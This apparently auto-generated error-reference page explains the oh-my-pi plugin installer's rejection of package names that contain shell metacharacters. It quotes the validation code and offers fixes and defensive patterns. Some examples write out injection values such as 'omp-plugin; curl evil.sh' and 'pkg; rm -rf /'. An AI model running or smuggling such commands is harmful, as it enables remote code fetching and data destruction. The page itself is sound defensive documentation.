can1357/oh-my-pi · error · Error

Invalid characters in package name: ${name}

Error message

Invalid characters in package name: ${name}

What it means

A second defense layer in validatePackageName: even if the name passes the general pattern, names containing shell metacharacters (; & | ` $ ( ) { } [ ] < > \) are rejected with 'Invalid characters in package name: <name>' to prevent command injection into spawned install commands.

Source

Thrown at packages/coding-agent/src/extensibility/plugins/installer.ts:21

import { getAgentDir, getProjectDir, isEnoent } from "@oh-my-pi/pi-utils";
import { extractPackageName } from "./parser";
import type { InstalledPlugin } from "./types";

const PLUGINS_DIR = path.join(getAgentDir(), "plugins");

// Valid npm package name pattern (scoped and unscoped)
const VALID_PACKAGE_NAME = /^(@[a-z0-9-~][a-z0-9-._~]*\/)?[a-z0-9-~][a-z0-9-._~]*(@[a-z0-9-._^~>=<]+)?$/i;

/**
 * Validate package name to prevent command injection
 */
function validatePackageName(name: string): void {
	if (!VALID_PACKAGE_NAME.test(name)) {
		throw new Error(`Invalid package name: ${name}`);
	}
	// Extra safety: no shell metacharacters
	if (/[;&|`$(){}[\]<>\\]/.test(name)) {
		throw new Error(`Invalid characters in package name: ${name}`);
	}
}

/**
 * Ensure the plugins directory exists
 */
async function ensurePluginsDir(): Promise<void> {
	await fs.mkdir(PLUGINS_DIR, { recursive: true });
	await fs.mkdir(path.join(PLUGINS_DIR, "node_modules"), { recursive: true });
}

export async function installPlugin(packageName: string): Promise<InstalledPlugin> {
	// Validate package name to prevent command injection
	validatePackageName(packageName);

	// Ensure plugins directory exists
	await ensurePluginsDir();

View on GitHub (pinned to 9690622007)

Solutions

  1. Remove all shell metacharacters from the package name.
  2. Sanitize/trim user input before passing to installPlugin/uninstallPlugin.
  3. Treat this throw as potential injection attempt: log it, don't retry with mutated input.

Example fix

// before
const name = userInput.trim(); // "omp-plugin; curl evil.sh"
await installPlugin(name)
// after
if (!/[;&|`$(){}[\]<>\\]/.test(name)) await installPlugin(name)
Defensive patterns

Strategy: validation

Validate before calling

const FORBIDDEN = /[;&|`$(){}[\]<>\\]/;
if (FORBIDDEN.test(name)) {
  alertUser(`Plugin name contains forbidden characters: ${name}`);
  return;
}
await installPlugin(name);

Type guard

function isShellSafeName(name: string): boolean {
  return !/[;&|`$(){}[\]<>\\]/.test(name);
}

Try / catch

try {
  await installPlugin(name);
} catch (err) {
  if (err instanceof Error && err.message.startsWith("Invalid characters in package name:")) {
    logger.warn("Rejected potentially malicious plugin name", { name });
  } else throw err;
}

Prevention

When it happens

Trigger: installPlugin/uninstallPlugin called with a name containing any of ;&|`$(){}[]<>\ — e.g. 'pkg; rm -rf /', 'pkg$(cmd)', or a Windows-style path fragment 'pkg\sub'.

Common situations: User-supplied names pasted from untrusted input; attempts (malicious or accidental) to smuggle shell syntax; config files with escaped or quoted names that keep the backslash.

Understand the failure class

Related errors


AI-assisted analysis of can1357/oh-my-pi@9690622007 (2026-08-31). Data as JSON: /api/errors/a23e1d1a29cee312. Report an issue: GitHub.